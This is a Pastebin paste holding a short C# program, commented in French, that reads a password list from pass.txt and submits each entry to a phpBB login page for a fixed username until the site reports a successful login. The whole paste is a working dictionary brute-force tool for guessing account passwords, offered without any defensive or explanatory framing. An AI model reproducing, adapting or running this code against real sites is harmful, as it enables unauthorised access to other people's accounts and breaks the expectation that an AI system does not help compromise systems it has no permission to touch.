Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.IO;
- using System.Web;
- using System.Net;
- using System.Collections;
- namespace BBSCrawler
- {
- class Program
- {
- public static void Main(string[] args)
- {
- string line;
- // Onverture du fichier pass.txt se trouvant dans le dossier de l'application dans un buffer
- StreamReader file = new StreamReader(System.Windows.Forms.Application.StartupPath + "\\pass.txt");
- // Lecture du buffer ligne par ligne
- while ((line = file.ReadLine()) != null)
- {
- // Création de la requête avec les params en POST
- WebPostRequest myPost = new WebPostRequest("http://dev.hackbbs.org/ucp.php?mode=login");
- myPost.Add("username", "Manu404");
- myPost.Add("password", line);
- myPost.Add("login", "Login");
- // Si réussi on break sinon on continue
- if (myPost.GetResponse().Contains("You have been successfully logged in."))
- {
- Console.WriteLine("Log Sucess : {0} - {1}", "Manu404", line);
- break;
- }
- else
- {
- Console.WriteLine("Log Break : {0} - {1}", "Manu404", line);
- }
- }
- // Fermeture du fichier
- file.Close();
- Console.ReadKey();
- }
- }
- class WebPostRequest
- {
- private WebRequest theRequest;
- private HttpWebResponse theResponse;
- private ArrayList theQueryData;
- public WebPostRequest(string url)
- {
- theRequest = WebRequest.Create(url);
- theRequest.Method = "POST";
- theQueryData = new ArrayList();
- }
- public void Add(string key, string value)
- {
- theQueryData.Add(String.Format("{0}={1}", key, HttpUtility.UrlEncode(value)));
- }
- public string GetResponse()
- {
- // Définis l'encodage
- theRequest.ContentType = "application/x-www-form-urlencoded";
- // Crée un string qui contient tout les paramètres
- string Parameters = String.Join("&", (String[])theQueryData.ToArray(typeof(string)));
- theRequest.ContentLength = Parameters.Length;
- // Ecriture des paramètres dans la requête
- StreamWriter sw = new StreamWriter(theRequest.GetRequestStream());
- sw.Write(Parameters);
- sw.Close();
- // Execute la requête
- theResponse = (HttpWebResponse)theRequest.GetResponse();
- StreamReader sr = new StreamReader(theResponse.GetResponseStream());
- return sr.ReadToEnd();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement